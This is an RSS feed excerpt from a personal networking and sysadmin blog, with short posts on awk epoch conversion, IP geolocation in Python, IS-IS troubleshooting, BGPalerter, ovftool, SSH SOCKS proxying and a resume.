      <description>&lt;p&gt;An &lt;code&gt;awk&lt;/code&gt; one-liner to convert &lt;a href=&#34;https://en.wikipedia.org/wiki/Unix_time&#34;&gt;epoch time&lt;/a&gt; to a human readable format.&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;[jemurray@shell ~]$ cat epoch.txt&#xA;1587481133.293749&#x9;CYURHdG5l4jBhU1jb&#xA;1587481188.990734&#x9;CRgwN2HC3jQPMa7sb&#xA;1587481193.855005&#x9;Cvlbme4NPPzsfSt6b5&#xA;1587481189.016330&#x9;C7obDf1jt8z1KHjqj3&#xA;1587481194.005504&#x9;CF9KYf1gWR62iFMNne&#xA;1587481139.029608&#x9;CWzDwP38CVCi6Q51Mc&#xA;1587481194.031021&#x9;CRpEsP2TI9RakOH3x8&#xA;1587481193.930650&#x9;CeaRrR2MW98BzDcHB2&#xA;1587481194.038082&#x9;CuFe7L1WmdK38RZOH5&#xA;1587481193.821363&#x9;CZPKMp1CnuZuxBwsI3&#xA;1587480835.925876&#x9;CspNB64hKD2dr8fWv6&#xA;1587481060.840924&#x9;CpSIYC39p9q3lAZxG2&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;[jemurray@shell ~]$ cat epoch.txt | awk &amp;#39;{ printf &amp;#34;%s -- %s\n&amp;#34;, strftime(&amp;#34;%F %T&amp;#34;,$1), $0 }&amp;#39;&#xA;2020-04-21 09:58:53 -- 1587481133.293749&#x9;CYURHdG5l4jBhU1jb&#xA;2020-04-21 09:59:48 -- 1587481188.990734&#x9;CRgwN2HC3jQPMa7sb&#xA;2020-04-21 09:59:53 -- 1587481193.855005&#x9;Cvlbme4NPPzsfSt6b5&#xA;2020-04-21 09:59:49 -- 1587481189.016330&#x9;C7obDf1jt8z1KHjqj3&#xA;2020-04-21 09:59:54 -- 1587481194.005504&#x9;CF9KYf1gWR62iFMNne&#xA;2020-04-21 09:58:59 -- 1587481139.029608&#x9;CWzDwP38CVCi6Q51Mc&#xA;2020-04-21 09:59:54 -- 1587481194.031021&#x9;CRpEsP2TI9RakOH3x8&#xA;2020-04-21 09:59:53 -- 1587481193.930650&#x9;CeaRrR2MW98BzDcHB2&#xA;2020-04-21 09:59:54 -- 1587481194.038082&#x9;CuFe7L1WmdK38RZOH5&#xA;2020-04-21 09:59:53 -- 1587481193.821363&#x9;CZPKMp1CnuZuxBwsI3&#xA;2020-04-21 09:53:55 -- 1587480835.925876&#x9;CspNB64hKD2dr8fWv6&#xA;2020-04-21 09:57:40 -- 1587481060.840924&#x9;CpSIYC39p9q3lAZxG2&#xA;&lt;/code&gt;&lt;/pre&gt;</description>
    </item>
    <item>
      <title>Geolocating any IP address in a text file with Python</title>
      <link>https://jasonmurray.org/posts/2020/geolocate/</link>
      <pubDate>Tue, 28 Apr 2020 20:48:14 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2020/geolocate/</guid>
      <description>&lt;p&gt;A Python script that will geolocate any IP address found in a text file.&lt;/p&gt;&#xA;&lt;p&gt;The Python script:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;#!/usr/local/bin/python3&#xA;&#xA;# Uses the IP database: https://dev.maxmind.com/geoip/geoip2/downloadable/#MaxMind_APIs&#xA;&#xA;import geoip2.database&#xA;import fileinput&#xA;import re&#xA;&#xA;reader = geoip2.database.Reader(&amp;#39;~/g/scripts/wustlPython/GeoLite2-City/GeoLite2-City.mmdb&amp;#39;)&#xA;&#xA;for line in fileinput.input():&#xA;    # Match any IPv4 address found&#xA;    ip = re.findall( r&amp;#39;[0-9]+(?:\.[0-9]+){3}&amp;#39;, line )&#xA;    if ip:&#xA;        #print(ip)&#xA;        for i in ip:&#xA;            try:&#xA;                response = reader.city(i)&#xA;                country = response.country.name&#xA;&#xA;                try:&#xA;                    state = response.subdivisions.most_specific.name&#xA;                except:&#xA;                    state = &amp;#34;none&amp;#34;&#xA;&#xA;                try:&#xA;                    city = response.city.name&#xA;                except:&#xA;                    city = &amp;#34;none&amp;#34;&#xA;&#xA;                print(&amp;#34;IP: %s, Country: %s, State: %s, City: %s&amp;#34; % (i, country, city, state))&#xA;&#xA;            except:&#xA;                next&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Example input:&lt;/p&gt;</description>
    </item>
    <item>
      <title>Debugging Regular Expressions with https://regex101.com</title>
      <link>https://jasonmurray.org/posts/2020/regexdebug/</link>
      <pubDate>Mon, 27 Apr 2020 09:43:45 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2020/regexdebug/</guid>
      <description>&lt;p&gt;Anyone who writes Regular Expressions, needs a good way to test and debug the syntax.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&#34;https://regex101.com/&#34;&gt;https://regex101.com/&lt;/a&gt; is in my short list of the top 5 tools I use regularly.&lt;/p&gt;&#xA;&lt;p&gt;The first section contains the &lt;code&gt;regular expression&lt;/code&gt;, the second section contains the &lt;code&gt;test strings&lt;/code&gt;, and the section on the right explains what the regular expression is doing and the group matches.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;https://jasonmurray.org/images/regex101.png&#34; alt=&#34;RegEx101&#34;&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>Using marking and ranges in iMovie to quickly edit clips</title>
      <link>https://jasonmurray.org/posts/2020/imoviemark/</link>
      <pubDate>Sun, 26 Apr 2020 13:10:26 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2020/imoviemark/</guid>
      <description>&lt;p&gt;&lt;code&gt;marking&lt;/code&gt; and &lt;code&gt;ranges&lt;/code&gt; make editing a video clip in iMovie simple.&lt;/p&gt;&#xA;&lt;p&gt;Verify &lt;code&gt;snapping&lt;/code&gt; is enabled, it helps to find the exact point during mouse over:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;https://jasonmurray.org/images/snap.png&#34; alt=&#34;snap&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Select specific spots in the video clip by pressing &lt;code&gt;m&lt;/code&gt; to &lt;code&gt;mark&lt;/code&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;https://jasonmurray.org/images/marker.png&#34; alt=&#34;mark&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Move the mouse to the &lt;code&gt;mark&lt;/code&gt;, it will &lt;code&gt;snap&lt;/code&gt; in place, press and hold &lt;code&gt;r&lt;/code&gt; while dragging the mouse along the section to cut:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;https://jasonmurray.org/images/range.png&#34; alt=&#34;range&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;With this newfound skill you could be making spoof videos about the 2020 COVID19 toilet paper shortage for Boy Scouts:&lt;/p&gt;</description>
    </item>
    <item>
      <title>Restarting the IS-IS process on Cisco NX-OS</title>
      <link>https://jasonmurray.org/posts/2020/isisrestart/</link>
      <pubDate>Sat, 25 Apr 2020 17:57:54 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2020/isisrestart/</guid>
      <description>&lt;p&gt;One of our Cisco Nexus 7K&amp;rsquo;s ran into a problem where LDP would not establish neighbors and IS-IS was not advertising routes:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;nx7k-MPLS# show mpls ldp neighbor&#xA;nx7k-MPLS#&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;nx7k-MPLS# show isis database level-2 ip prefix 192.168.247.154/32   ! This is the lo0 interface IP address&#xA;IS-IS Process: isis-config LSP database VRF: default&#xA;IS-IS Level-2 Link State Database&#xA;  LSPID                 Seq Number   Checksum  Lifetime   A/P/O/T&#xA;&#xA;nx7k-MPLS#&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The router hit a &lt;a href=&#34;https://bst.cloudapps.cisco.com/bugsearch/bug/CSCud28261/?rfs=iqvred&#34;&gt;bug&lt;/a&gt;, but restarting IS-IS resolved the issue:&lt;/p&gt;</description>
    </item>
    <item>
      <title>Using Bash functions to tab complete SSHing into hosts</title>
      <link>https://jasonmurray.org/posts/2020/bashfunctions/</link>
      <pubDate>Fri, 24 Apr 2020 14:30:05 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2020/bashfunctions/</guid>
      <description>&lt;p&gt;SSH by tab-completing and proxying through a bastion host.  I use this in a production environment where my team SSH&amp;rsquo;s into 1000&amp;rsquo;s of networking devices and unix systems.&lt;/p&gt;&#xA;&lt;p&gt;By creating naming schemes, such as: &lt;code&gt;buildingcode-floor-systemtype-uniqid&lt;/code&gt; it makes finding the host very simple.  The file can be placed in a shared folder through Dropbox, Box, Google Drive, etc., referenced by a Bash &lt;code&gt;source&lt;/code&gt; statement, and used by the entire team.&lt;/p&gt;&#xA;&lt;p&gt;Example .bashrc file:&lt;/p&gt;</description>
    </item>
    <item>
      <title>Improving vi usability on a MacBook Pro with the touch bar</title>
      <link>https://jasonmurray.org/posts/2020/viwithtouchbar/</link>
      <pubDate>Thu, 23 Apr 2020 13:34:58 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2020/viwithtouchbar/</guid>
      <description>&lt;p&gt;The virtual ESC key on the MacBook Pro with a touch bar has much to be desired.&lt;/p&gt;&#xA;&lt;p&gt;It can be made slightly better by increasing the size of the ESC key using &lt;a href=&#34;https://folivora.ai/&#34;&gt;Better Touch Tool&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Open the Better Touch Tool Configuration.&lt;/p&gt;&#xA;&lt;p&gt;Create an Iterm2 App (because I only care about the escape key when in a terminal window).&lt;/p&gt;&#xA;&lt;p&gt;Add the button and assign a title.  In this example the button is called: THIS IS THE BIG ESCAPE KEY NEEDED TO MAKE VI WORK&lt;/p&gt;</description>
    </item>
    <item>
      <title>Using telnet to find a devices current IP address</title>
      <link>https://jasonmurray.org/posts/2020/telnetmyip/</link>
      <pubDate>Wed, 22 Apr 2020 12:22:57 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2020/telnetmyip/</guid>
      <description>&lt;p&gt;Using &lt;code&gt;telnet&lt;/code&gt; to find a devices current IP address:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;jemurray@mbp-2019:~ $ telnet telnetmyip.com&#xA;Trying 2600:1f16:b9f:7d16::100...&#xA;Connected to telnetmyip.com.&#xA;Escape character is &amp;#39;^]&amp;#39;.&#xA;{&#xA;&#xA;&#xA;&amp;#34;comment&amp;#34;: &amp;#34;##     Your IP Address is 2600:6c40:7e80:2515:e4c0:4484:93e6:a62b (62588)     ##&amp;#34;,&#xA;&#xA;&#xA;&amp;#34;family&amp;#34;: &amp;#34;ipv6&amp;#34;,&#xA;&amp;#34;ip&amp;#34;: &amp;#34;2600:6c40:7e80:2515:e4c0:4484:93e6:a62b&amp;#34;,&#xA;&amp;#34;port&amp;#34;: &amp;#34;62588&amp;#34;,&#xA;&amp;#34;protocol&amp;#34;: &amp;#34;telnet&amp;#34;,&#xA;&amp;#34;version&amp;#34;: &amp;#34;v1.2.0&amp;#34;,&#xA;&amp;#34;website&amp;#34;: &amp;#34;https://github.com/packetsar/checkmyip&amp;#34;,&#xA;&amp;#34;sponsor&amp;#34;: &amp;#34;Sponsored by ConvergeOne, https://www.convergeone.com/&amp;#34;&#xA;}&#xA;Connection closed by foreign host.&#xA;&lt;/code&gt;&lt;/pre&gt;</description>
    </item>
    <item>
      <title>Using PerfSonar pscheduler to initiate remote speed tests with Iperf3</title>
      <link>https://jasonmurray.org/posts/2020/pscheduler/</link>
      <pubDate>Tue, 21 Apr 2020 09:29:03 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2020/pscheduler/</guid>
      <description>&lt;p&gt;The &lt;a href=&#34;https://www.perfsonar.net/&#34;&gt;PerfSonar&lt;/a&gt; &lt;code&gt;pscheduler&lt;/code&gt; tool can be used to initiate tests, such as iperf3, on remote servers:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;[jemurray@ps-eps-l29-1 ~]$ pscheduler task --tool iperf3 throughput -d bost-pt1.es.net -t 10&#xA;Submitting task...&#xA;Task URL:&#xA;https://localhost/pscheduler/tasks/0c661c85-fc6c-4065-a300-f2d58b5af123&#xA;Running with tool &amp;#39;iperf3&amp;#39;&#xA;Fetching first run...&#xA;&#xA;Next scheduled run:&#xA;https://localhost/pscheduler/tasks/0c661c85-fc6c-4065-a300-f2d58b5af123/runs/0e8d3de0-caf2-479d-a43b-1625f3bdcfb9&#xA;Starts 2020-04-21T14:35:48Z (~6 seconds)&#xA;Ends   2020-04-21T14:36:07Z (~18 seconds)&#xA;Waiting for result...&#xA;&#xA;* Stream ID 5&#xA;Interval       Throughput     Retransmits    Current Window&#xA;0.0 - 1.0      4.89 Gbps      36             67.17 MBytes&#xA;1.0 - 2.0      8.35 Gbps      0              67.17 MBytes&#xA;2.0 - 3.0      8.44 Gbps      0              67.17 MBytes&#xA;3.0 - 4.0      8.41 Gbps      0              67.17 MBytes&#xA;4.0 - 5.0      8.59 Gbps      0              67.17 MBytes&#xA;5.0 - 6.0      8.47 Gbps      0              67.17 MBytes&#xA;6.0 - 7.0      8.66 Gbps      0              67.17 MBytes&#xA;7.0 - 8.0      8.60 Gbps      0              67.17 MBytes&#xA;8.0 - 9.0      8.47 Gbps      0              67.17 MBytes&#xA;9.0 - 10.0     8.57 Gbps      0              67.17 MBytes&#xA;&#xA;Summary&#xA;Interval       Throughput     Retransmits&#xA;0.0 - 10.0     8.14 Gbps      36&#xA;&#xA;No further runs scheduled.&#xA;&lt;/code&gt;&lt;/pre&gt;</description>
    </item>
    <item>
      <title>Monitor for BGP changes using BGPalerter</title>
      <link>https://jasonmurray.org/posts/2020/bgpalerter/</link>
      <pubDate>Mon, 20 Apr 2020 17:10:20 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2020/bgpalerter/</guid>
      <description>&lt;p&gt;&lt;a href=&#34;https://github.com/nttgin/BGPalerter&#34;&gt;BGPalerter&lt;/a&gt; is a free and opensource way to monitor for changes in public BGP announcments.   It is an alternative to &lt;a href=&#34;https://bgpmon.net/&#34;&gt;BGPmon&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Initial Setup (first run):&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;jemurray@shell:~$ ./bgpalerter-linux-x64&#xA;Impossible to load config.yml. A default configuration file has been generated.&#xA;BGPalerter, version: 1.24.0 environment: production&#xA;Loaded config: /home/jemurray/config.yml&#xA;? The file prefixes.yml cannot be loaded. Do you want to auto-configure BGPalerter? Yes&#xA;? Which Autonomous System(s) you want to monitor? (comma-separated, e.g. 2914,3333) 2552&#xA;? Are there sub-prefixes delegated to other ASes? (e.g. sub-prefixes announced by customers) No&#xA;? Do you want to be notified when your AS is announcing a new prefix? Yes&#xA;Generating monitoring rule for 192.31.46.0/24&#xA;Generating monitoring rule for 128.252.7.0/24&#xA;Generating monitoring rule for 2606:fd80::/32&#xA;Generating monitoring rule for 2604:3e00::/32&#xA;Generating monitoring rule for 128.252.25.0/24&#xA;Generating monitoring rule for 128.252.0.0/16&#xA;Generating monitoring rule for 128.252.48.0/24&#xA;Generating monitoring rule for 65.254.96.0/19&#xA;Generating monitoring rule for 65.254.109.0/24&#xA;Detected more specific 128.252.7.0/24&#xA;Detected more specific 128.252.25.0/24&#xA;Detected more specific 128.252.48.0/24&#xA;Detected more specific 65.254.109.0/24&#xA;Generating generic monitoring rule for AS 2552&#xA;WARNING: The generated configuration is a snapshot of what is currently announced. Some of the prefixes don&amp;#39;t have ROA objects associated or are RPKI invalid. Please, verify the config file by hand!&#xA;Done!&#xA;Monitoring 128.252.0.0/16&#xA;Monitoring 65.254.96.0/19&#xA;Monitoring 192.31.46.0/24&#xA;Monitoring 2604:3e00::/32&#xA;Monitoring 2606:fd80::/32&#xA;Monitoring AS 2552&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Restarting:&lt;/p&gt;</description>
    </item>
    <item>
      <title>Using ovftool to copy VM hosts</title>
      <link>https://jasonmurray.org/posts/2020/ovftool/</link>
      <pubDate>Sun, 19 Apr 2020 14:57:12 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2020/ovftool/</guid>
      <description>&lt;p&gt;OVFTool can be used to copy VM hosts from one ESXi server to another via the CLI.&lt;/p&gt;&#xA;&lt;p&gt;Download &lt;a href=&#34;https://www.vmware.com/support/developer/ovf/&#34;&gt;OVF Tool&lt;/a&gt;&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;jemurray@home-server:~$ ovftool -ds=datastore0 vi://root@192.168.86.55/VIRL vi://root@192.168.86.2&#xA;Enter login information for source vi://192.168.86.55/&#xA;Username: root&#xA;Password: *********&#xA;Opening VI source: vi://root@192.168.86.55:443/VIRL&#xA;Enter login information for target vi://192.168.86.2/&#xA;Username: root&#xA;Password: *********&#xA;Opening VI target: vi://root@192.168.86.2:443/&#xA;Deploying to VI: vi://root@192.168.86.2:443/&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;-ds = the destination datastore name&lt;/p&gt;</description>
    </item>
    <item>
      <title>Using SSH as a SOCKS proxy</title>
      <link>https://jasonmurray.org/posts/2020/ssh-proxy/</link>
      <pubDate>Sat, 18 Apr 2020 13:41:14 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2020/ssh-proxy/</guid>
      <description>&lt;p&gt;SSH can function as a SOCKS proxy with the following command:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;ssh -D 5555 -q -C -N shell.jasonmurray.org&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;In the following examples, I used &lt;a href=&#34;https://chrome.google.com/webstore/detail/proxy-switchyomega/padekgcemlokbadohgkifijomclgjgif?hl=en&#34;&gt;SwitchyOmega&lt;/a&gt; as the plugin to change the proxy settings.&lt;/p&gt;&#xA;&lt;p&gt;Configure the browser with the proxy:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;https://jasonmurray.org/images/socksproxy.png&#34; alt=&#34;Chrome Proxy&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;AutoProxy is enabled for specific sites, otherwise bypass the proxy and fetch directly:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;https://jasonmurray.org/images/autoproxy.png&#34; alt=&#34;Chrome SwitchyOmega AutoProxy&#34;&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>A new beginning</title>
      <link>https://jasonmurray.org/posts/2020/newbeginning/</link>
      <pubDate>Fri, 17 Apr 2020 11:31:25 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2020/newbeginning/</guid>
      <description>&lt;p&gt;It is time to get back into sharing.  I have been running this website under various &lt;a href=&#34;https://web.archive.org/web/20010501000000*/zweck.net&#34;&gt;names&lt;/a&gt; and frameworks for more then two decades, some of which is embarrassing to acknowledge.  Other priorities, kids, work, and the need for perfection has kept me from sharing.&lt;/p&gt;&#xA;&lt;p&gt;Welcome to the genesis of &lt;a href=&#34;https://jasonmurray.org/posts/&#34;&gt;Today I Shared&lt;/a&gt;.  The concept is loosely based on the Today I Learned structure, which is simple and to-the-point posts.&lt;/p&gt;&#xA;&lt;p&gt;I enjoy learning and then writing about technology, leadership, DIY projects, electronics, or anything else that may be helpful to a wider audience.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Resume</title>
      <link>https://jasonmurray.org/pages/resume/</link>
      <pubDate>Sun, 09 Feb 2020 15:53:23 -0600</pubDate>
      <guid>https://jasonmurray.org/pages/resume/</guid>
      <description>&lt;h2 id=&#34;objective&#34;&gt;Objective&lt;/h2&gt;&#xA;&lt;p&gt;Leverage my extensive leadership, architecture, engineering, and operations experience to develop strategic direction and enable teams of highly motivated engineers to deliver exceptional quality Internet services in large complex environments. My principal areas of interest include large research institutions or innovative organizations involved in disruptive Internet technology.&lt;/p&gt;&#xA;&lt;h2 id=&#34;executive-summary&#34;&gt;Executive Summary&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Over 25 years of experience with designing, implementing, and maintaining large scale server, network, wireless, and security services.&lt;/li&gt;&#xA;&lt;li&gt;Architectural principals focus on ease of use, scalability, reliability, and open standards capable of supporting a broad range of devices.&lt;/li&gt;&#xA;&lt;li&gt;Systems Architect with an in-depth understanding of system design, low-level internals, security, troubleshooting, and performance tuning on mission-critical systems.&lt;/li&gt;&#xA;&lt;li&gt;Network Architect with an in-depth knowledge of data network design from access to edge, routing protocols, performance tuning, and troubleshooting.&lt;/li&gt;&#xA;&lt;li&gt;In-depth knowledge of key protocol standards such as RFC, BCP, and IETF.&lt;/li&gt;&#xA;&lt;li&gt;Excellent problem-solving skills with an acute ability to find and research unfamiliar issues.&lt;/li&gt;&#xA;&lt;li&gt;Strong communication and presentation skills.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h2 id=&#34;experience-summary-not-all-inclusive&#34;&gt;Experience Summary (not all-inclusive)&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Operating Systems: &lt;a href=&#34;https://jasonmurray.org/tags/apple/&#34;&gt;Apple&lt;/a&gt; (&lt;a href=&#34;https://jasonmurray.org/tags/macos/&#34;&gt;macOS&lt;/a&gt;, &lt;a href=&#34;https://jasonmurray.org/tags/ios/&#34;&gt;iOS&lt;/a&gt;, Android, BSD, &lt;a href=&#34;https://jasonmurray.org/tags/cisco/&#34;&gt;Cisco&lt;/a&gt; (Catalyst, IOS, NX-OS), &lt;a href=&#34;https://jasonmurray.org/tags/linux/&#34;&gt;GNU/Linux&lt;/a&gt;, HP, &lt;a href=&#34;https://jasonmurray.org/tags/juniper/&#34;&gt;JunOS&lt;/a&gt;, Microsoft, Solaris, SunOS&lt;/li&gt;&#xA;&lt;li&gt;Virtualization Technologies: &lt;a href=&#34;https://jasonmurray.org/tags/cml/&#34;&gt;CML&lt;/a&gt;, &lt;a href=&#34;https://jasonmurray.org/tags/docker/&#34;&gt;Docker&lt;/a&gt;, &lt;a href=&#34;https://jasonmurray.org/tags/gns3/&#34;&gt;GNS3&lt;/a&gt;, Solaris Containers, VirtualBox, VMware&lt;/li&gt;&#xA;&lt;li&gt;Cloud Providers: &lt;a href=&#34;https://jasonmurray.org/tags/aws/&#34;&gt;AWS&lt;/a&gt;, Azure, Digital Ocean, Linode, Google Cloud&lt;/li&gt;&#xA;&lt;li&gt;System Hardware: &lt;a href=&#34;https://jasonmurray.org/tags/arista/&#34;&gt;Arista&lt;/a&gt;, &lt;a href=&#34;https://jasonmurray.org/tags/cisco/&#34;&gt;Cisco&lt;/a&gt;, Dell, HP, &lt;a href=&#34;https://jasonmurray.org/tags/infoblox/&#34;&gt;Infoblox&lt;/a&gt;, &lt;a href=&#34;https://jasonmurray.org/tags/juniper/&#34;&gt;Juniper&lt;/a&gt;, &lt;a href=&#34;https://jasonmurray.org/tags/meraki/&#34;&gt;Meraki&lt;/a&gt;, Sun, Xiotech, x86&lt;/li&gt;&#xA;&lt;li&gt;Core Server and Networking Protocols: &lt;a href=&#34;https://jasonmurray.org/tags/arp/&#34;&gt;arp&lt;/a&gt;, &lt;a href=&#34;https://jasonmurray.org/tags/bgp/&#34;&gt;bgp&lt;/a&gt;, &lt;a href=&#34;https://jasonmurray.org/tags/dhcp/&#34;&gt;dhcp&lt;/a&gt;, &lt;a href=&#34;https://jasonmurray.org/tags/dns/&#34;&gt;dns&lt;/a&gt;, &lt;a href=&#34;https://jasonmurray.org/tags/ethernet/&#34;&gt;ethernet&lt;/a&gt;, ftp, &lt;a href=&#34;https://jasonmurray.org/tags/git&#34;&gt;git&lt;/a&gt;, hsrp, &lt;a href=&#34;https://jasonmurray.org/tags/https&#34;&gt;http&lt;/a&gt;, &lt;a href=&#34;https://jasonmurray.org/tags/icmp&#34;&gt;icmp&lt;/a&gt;, imap, &lt;a href=&#34;https://jasonmurray.org/tags/ip/&#34;&gt;ip&lt;/a&gt;, ipsec, &lt;a href=&#34;https://jasonmurray.org/tags/isis&#34;&gt;is-is&lt;/a&gt;, &lt;a href=&#34;https://jasonmurray.org/tags/ldp/&#34;&gt;ldp&lt;/a&gt;, mp-bgp, &lt;a href=&#34;https://jasonmurray.org/tags/mpls/&#34;&gt;mpls&lt;/a&gt;, &lt;a href=&#34;https://jasonmurray.org/tags/nat/&#34;&gt;nat&lt;/a&gt;, nfs, nis, nnrp, nntp, &lt;a href=&#34;https://jasonmurray.org/tags/ntp&#34;&gt;ntp&lt;/a&gt;, ospf, pcap, pop3, ppp, radius, sip, smtp, snmp, stp, &lt;a href=&#34;https://jasonmurray.org/tags/ssh&#34;&gt;ssh&lt;/a&gt;, &lt;a href=&#34;https://jasonmurray.org/tags/ssl/&#34;&gt;ssl&lt;/a&gt;, tcp, tftp, udp, vlan, vpn, vrrp, vxlan&lt;/li&gt;&#xA;&lt;li&gt;Programming Languages: C, Perl, PHP, &lt;a href=&#34;https://jasonmurray.org/tags/python&#34;&gt;Python&lt;/a&gt;, &lt;a href=&#34;https://jasonmurray.org/tags/bash/&#34;&gt;shell&lt;/a&gt;, SQL, &lt;a href=&#34;https://jasonmurray.org/tags/tcl/&#34;&gt;TCL&lt;/a&gt;, &lt;a href=&#34;https://jasonmurray.org/tags/assembly&#34;&gt;x86 assembly&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Automation Languages and Frameworks: &lt;a href=&#34;https://jasonmurray.org/tags/ansible&#34;&gt;Ansible&lt;/a&gt;, &lt;a href=&#34;https://jasonmurray.org/tags/napalm&#34;&gt;Napalm&lt;/a&gt;, &lt;a href=&#34;https://jasonmurray.org/tags/netmiko&#34;&gt;Netmiko&lt;/a&gt;, &lt;a href=&#34;https://jasonmurray.org/tags/nornir&#34;&gt;Nornir&lt;/a&gt;, Puppet, &lt;a href=&#34;https://jasonmurray.org/tags/python&#34;&gt;Python&lt;/a&gt;, &lt;a href=&#34;https://jasonmurray.org/tags/restful&#34;&gt;RESTful&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h2 id=&#34;employment-history&#34;&gt;Employment History&lt;/h2&gt;&#xA;&lt;p&gt;&lt;strong&gt;Infrastructure Architect&lt;/strong&gt;&lt;br&gt;&#xA;&lt;strong&gt;&lt;a href=&#34;https://wustl.edu/&#34;&gt;Washington University in St. Louis&lt;/a&gt;&lt;/strong&gt;&lt;br&gt;&#xA;&lt;strong&gt;April 2016 to present&lt;/strong&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>Internet2 Technology Exchange: WashU MPLS Presentation</title>
      <link>https://jasonmurray.org/posts/2019/techexchangempls/</link>
      <pubDate>Thu, 12 Dec 2019 09:30:06 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2019/techexchangempls/</guid>
      <description>&lt;p&gt;On 2019-12-12 &lt;a href=&#34;https://meetings.internet2.edu/2019-technology-exchange/speakers/6642/&#34;&gt;I presented&lt;/a&gt; on the Washington University in St. Louis One Campus enterprise MPLS design at the &lt;a href=&#34;https://meetings.internet2.edu/2019-technology-exchange/&#34;&gt;Internet2 Tech-Exchange&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;h2 id=&#34;session-abstract&#34;&gt;SESSION ABSTRACT&lt;/h2&gt;&#xA;&lt;h3 id=&#34;overview&#34;&gt;OVERVIEW&lt;/h3&gt;&#xA;&lt;p&gt;A journey through the Washington University in St. Louis &amp;ldquo;One Campus Project&amp;rdquo;, the birth of our MPLS network, and the adoption and adaptation of security controls from the National Institute of Standards and Technology (NIST).&lt;/p&gt;&#xA;&lt;h3 id=&#34;problem-statement&#34;&gt;Problem Statement&lt;/h3&gt;&#xA;&lt;p&gt;The technology landscape across the university has been changing at a rapid pace. Significant events, such as the consolidation of the Medical School Central Information Technology (MSCIT) and the academic campus Information Services and Technology into the single organization known as WashU IT and the reorganization of operational and help desk entities, have caused strain on the simplicity, scalability, reliability, security, and operational support of the core networking infrastructure. The main source of problems stem from the legacy environments that continue to be operated as if they were independent entities, with their own policy, procedures, tools, and configurations standards. This lack of vision requires our engineering and operation staff to continually architect ad-hoc solutions to bridge these environments together in ways that were never intended by their original designers.&lt;/p&gt;</description>
    </item>
    <item>
      <title>IPv4 Netmasks Expanded</title>
      <link>https://jasonmurray.org/posts/2019/vlsm/</link>
      <pubDate>Mon, 28 Jan 2019 12:42:49 -0600</pubDate>
      <guid>https://jasonmurray.org/posts/2019/vlsm/</guid>
      <description>&lt;p&gt;A subnet calculator, such as &lt;a href=&#34;http://www.routemeister.net/projects/sipcalc/&#34;&gt;http://www.routemeister.net/projects/sipcalc/&lt;/a&gt;, is an invaluable tool.   Sometimes a quick reference sheet works better.  Here are the most common IPv4 subnets expanded:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;Netmask         Netmask                                 (binary) CIDR Notes&#xA;255.255.255.255 11111111.11111111.11111111.11111111 /32 Host (single address)&#xA;255.255.255.254 11111111.11111111.11111111.11111110 /31 Unuseable&#xA;255.255.255.252 11111111.11111111.11111111.11111100 /30 2 useable&#xA;255.255.255.248 11111111.11111111.11111111.11111000 /29 6 useable&#xA;255.255.255.240 11111111.11111111.11111111.11110000 /28 14 useable&#xA;255.255.255.224 11111111.11111111.11111111.11100000 /27 30 useable&#xA;255.255.255.192 11111111.11111111.11111111.11000000 /26 62 useable&#xA;255.255.255.128 11111111.11111111.11111111.10000000 /25 126 useable&#xA;255.255.255.0   